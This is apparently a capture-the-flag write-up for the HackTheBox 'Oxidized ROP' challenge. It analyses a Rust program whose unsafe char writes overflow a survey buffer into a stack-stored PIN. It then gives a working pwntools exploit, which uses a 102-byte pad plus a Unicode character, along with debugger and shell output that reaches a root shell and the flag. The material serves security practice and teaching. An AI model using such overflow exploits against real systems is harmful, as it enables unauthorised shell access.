Oxidized ROP
11 minutes to read
We have a 64-bit binary called oxidized-rop
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Moreover, we have the source code in Rust, so no need to reverse-engineer the binary.
Source code analysis
This is main
:
fn main() {
print_banner();
let mut feedback = Feedback {
statement: [0_u8; INPUT_SIZE],
submitted: false,
};
let mut login_pin: u32 = 0x11223344;
loop {
print_menu();
match get_option().expect("Invalid Option") {
MenuOption::Survey => present_survey(&mut feedback),
MenuOption::ConfigPanel => {
if PIN_ENTRY_ENABLED {
let mut input = String::new();
print!("Enter configuration PIN: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut input).unwrap();
login_pin = input.parse().expect("Invalid Pin");
} else {
println!("\nConfig panel login has been disabled by the administrator.");
}
present_config_panel(&login_pin);
}
MenuOption::Exit => break,
}
}
}
The program defines a feedback
structure with a statement
array of 200 (INPUT_SIZE
) u8
values (initialized to 0
), and a flag submitted
set to false
. Then, we have a hard-coded pin (0x11223344
).
The menu shows two options:
$ ./oxidized-rop
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection:
If we select the second option, we are not allowed to enter a value for login_pin
because PIN_ENTRY_ENABLED
is set to false
at the beginning (a global variable). But still, the pin is checked:
$ ./oxidized-rop
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 2
Config panel login has been disabled by the administrator.
Invalid Pin. This incident will be reported.
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection:
This is function present_config_panel
:
fn present_config_panel(pin: &u32) {
use std::process::{self, Stdio};
// the pin strength isn't important since pin input is disabled
if *pin != 123456 {
println!("Invalid Pin. This incident will be reported.");
return;
}
process::Command::new("/bin/sh")
.stdin(Stdio::inherit())
.stdout(Stdio::inherit())
.output()
.unwrap();
}
So, we can see the objective. We need to somehow modify the pin in order to pass the if
check and get a shell.
Buffer Overflow vulnerability
Let’s take a look at the first option (handled by present_survey
):
fn present_survey(feedback: &mut Feedback) {
if feedback.submitted {
println!("Survey with this ID already exists.");
return;
}
println!("\n\nHello, our workshop is experiencing rapid oxidization. As we value health and");
println!("safety at the workspace above all we hired a ROP (Rapid Oxidization Protection) ");
println!("service to ensure the structural safety of the workshop. They would like a quick ");
println!("statement about the state of the workshop by each member of the team. This is ");
println!("completely confidential. Each response will be associated with a random number ");
println!("in no way related to you. \n");
print!("Statement (max 200 characters): ");
io::stdout().flush().unwrap();
let input_buffer = read_user_input();
save_data(&mut feedback.statement, &input_buffer);
println!("\n{}", "-".repeat(74));
println!("Thanks for your statement! We will try to resolve the issues ASAP!\nPlease now exit the program.");
println!("{}", "-".repeat(74));
feedback.submitted = true;
}
Basically, uses read_user_input
to read from stdin
and save_data
to save the results into feedback.statement
:
fn save_data(dest: &mut [u8], src: &String) {
if src.chars().count() > INPUT_SIZE {
println!("Oups, something went wrong... Please try again later.");
std::process::exit(1);
}
let mut dest_ptr = dest.as_mut_ptr() as *mut char;
unsafe {
for c in src.chars() {
dest_ptr.write(c);
dest_ptr = dest_ptr.offset(1);
}
}
}
Here we have a suspicious unsafe
block. Rust is known to be a memory-safe language, unless you use unsafe
. Therefore, this is the place where the vulnerability might appear. In fact, read_user_input
behaves like a gets
function, and the data received is stored into feedback.statement
no matter the size of the reserved buffer. Therefore, we have a Buffer Overflow vulnerability.
Exploit strategy
Let’s use GDB to see how the memory is setup right after entering user input (ABCD
for testing):
$ gdb -q oxidized-rop
Reading symbols from oxidized-rop...
gef➤ run
Starting program: ./oxidized-rop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 1
Hello, our workshop is experiencing rapid oxidization. As we value health and
safety at the workspace above all we hired a ROP (Rapid Oxidization Protection)
service to ensure the structural safety of the workshop. They would like a quick
statement about the state of the workshop by each member of the team. This is
completely confidential. Each response will be associated with a random number
in no way related to you.
Statement (max 200 characters): ABCD
--------------------------------------------------------------------------
Thanks for your statement! We will try to resolve the issues ASAP!
Please now exit the program.
--------------------------------------------------------------------------
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f94392 in __libc_read (fd=0x0, buf=0x5555555bcad0, nbytes=0x2000) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Let’s see where we have the default login_pin
and examine the memory a few addresses above:
gef➤ grep 0x11223344
[+] Searching '\x44\x33\x22\x11' in memory
[+] In './oxidized-rop'(0x55555555b000-0x5555555a4000), permission=r-x
0x555555560b86 - 0x555555560b96 → "\x44\x33\x22\x11[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe4d8 - 0x7fffffffe4e8 → "\x44\x33\x22\x11[...]"
gef➤ x/60gx 0x7fffffffe300
0x7fffffffe300: 0x00005555555bb048 0x0000000000000001
0x7fffffffe310: 0x00005555555a40e0 0x0000000000000000
0x7fffffffe320: 0x00005555555bb080 0x0000555555560b94
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000004200000041 0x0000004400000043
0x7fffffffe350: 0x0000000000000000 0x0000000000000000
0x7fffffffe360: 0x0000000000000000 0x0000000000000000
0x7fffffffe370: 0x0000000000000000 0x0000000000000000
0x7fffffffe380: 0x0000000000000000 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe400: 0x0000000000000000 0x0000000000020501
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000000000 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x0000000000000000
0x7fffffffe440: 0x0000000000000000 0x0000000000000000
0x7fffffffe450: 0x0000000000000000 0x0000000000000000
0x7fffffffe460: 0x0000000000000000 0x0000000000000000
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0x0000000000000000 0x0000000000000000
0x7fffffffe490: 0x0000000000000000 0x0000000000000000
0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe4d0: 0x0000000000000000 0x0000000011223344
Curiously, we don’t see ABCD
as 44434241
. Instead, each character has a length of 4 bytes. This is quite interesting.
For the moment, let’s calculate how many characters we need to overwrite the default value of login_pin
:
gef➤ p/d (0x7fffffffe4d8 - 0x7fffffffe340) / 4
$d = 102
That is, if we enter exactly 102 characters, then the next one will overwrite the default value of login_pin
. Let’s test it:
gef➤ shell python3 -c 'print("A" * 102 + "B")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
gef➤ run
Starting program: ./oxidized-rop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--------------------------------------------------------------------------
______ _______ _____ _____ ____________ _____ _____ ____ _____
/ __ \ \ / /_ _| __ \_ _|___ / ____| __ \ | __ \ / __ \| __ \
| | | \ V / | | | | | || | / /| |__ | | | | | |__) | | | | |__) |
| | | |> < | | | | | || | / / | __| | | | | | _ /| | | | ___/
| |__| / . \ _| |_| |__| || |_ / /__| |____| |__| | | | \ \| |__| | |
\____/_/ \_\_____|_____/_____/_____|______|_____/ |_| \_\\____/|_|
Rapid Oxidization Protection -------------------------------- by christoss
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: 1
Hello, our workshop is experiencing rapid oxidization. As we value health and
safety at the workspace above all we hired a ROP (Rapid Oxidization Protection)
service to ensure the structural safety of the workshop. They would like a quick
statement about the state of the workshop by each member of the team. This is
completely confidential. Each response will be associated with a random number
in no way related to you.
Statement (max 200 characters): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
--------------------------------------------------------------------------
Thanks for your statement! We will try to resolve the issues ASAP!
Please now exit the program.
--------------------------------------------------------------------------
Welcome to the Rapid Oxidization Protection Survey Portal!
(If you have been sent by someone to complete the survey, select option 1)
1. Complete Survey
2. Config Panel
3. Exit
Selection: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7f94392 in __libc_read (fd=0x0, buf=0x5555555bcad0, nbytes=0x2000) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ x/60gx 0x7fffffffe300
0x7fffffffe300: 0x00005555555bb048 0x0000000000000001
0x7fffffffe310: 0x00005555555a40e0 0x0000000000000000
0x7fffffffe320: 0x00005555555bb080 0x0000555555560b94
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000004100000041 0x0000004100000041
0x7fffffffe350: 0x0000004100000041 0x0000004100000041
0x7fffffffe360: 0x0000004100000041 0x0000004100000041
0x7fffffffe370: 0x0000004100000041 0x0000004100000041
0x7fffffffe380: 0x0000004100000041 0x0000004100000041
0x7fffffffe390: 0x0000004100000041 0x0000004100000041
0x7fffffffe3a0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3b0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3c0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3d0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3e0: 0x0000004100000041 0x0000004100000041
0x7fffffffe3f0: 0x0000004100000041 0x0000004100000041
0x7fffffffe400: 0x0000004100000041 0x0000004100000001
0x7fffffffe410: 0x0000004100000041 0x0000004100000041
0x7fffffffe420: 0x0000004100000041 0x0000004100000041
0x7fffffffe430: 0x0000004100000041 0x0000004100000041
0x7fffffffe440: 0x0000004100000041 0x0000004100000041
0x7fffffffe450: 0x0000004100000041 0x0000004100000041
0x7fffffffe460: 0x0000004100000041 0x0000004100000041
0x7fffffffe470: 0x0000004100000041 0x0000004100000041
0x7fffffffe480: 0x0000004100000041 0x0000004100000041
0x7fffffffe490: 0x0000004100000041 0x0000004100000041
0x7fffffffe4a0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4b0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4c0: 0x0000004100000041 0x0000004100000041
0x7fffffffe4d0: 0x0000004100000041 0x0000000000000042
There it is, the B
(42
in hexadecimal) is where the default value of login_pin
was located before.
Unicode characters
At this point, I remembered that Rust supports Unicode characters. This came to my mind because most Rust projects use Unicode characters to improve the visual experience (for instance, feroxbuster, RustScan, lsd or bat). The documentation for this feature is available here.
Therefore, instead of using normal ASCII characters to modify the default value of login_pin
, we will use Unicode characters to have a wider range of action and enter the Unicode character associated to 123456
(which is the pin we need to get a shell).
To know exactly the value we need to write into memory, we can use Python to see the bytes representation:
$ python3 -q
>>> chr(123456).encode()
b'\xf0\x9e\x89\x80'
This is the value we need to use (or simply chr(123456).encode()
).
Exploit development
This is the exploit (very simple):
def main():
p = get_process()
payload = b'A' * 102 + chr(123456).encode()
p.sendlineafter(b'Selection: ', b'1')
p.sendlineafter(b'Statement (max 200 characters): ', payload)
p.sendlineafter(b'Selection: ', b'2')
p.recv()
p.interactive()
If we run it locally, we have a shell:
$ python3 solve.py
[*] './oxidized-rop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './oxidized-rop': pid 3412329
[*] Switching to interactive mode
$ ls
oxidized-rop oxidized-rop.rs solve.py
Flag
Let’s try on the remote instance:
$ python3 solve.py 138.68.139.152:32345
[*] './oxidized-rop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 138.68.139.152 on port 32345: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
oxidized-rop
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{7h3_0r4n63_cr4b_15_74k1n6_0v3r!}
The full exploit script can be found in here: solve.py
.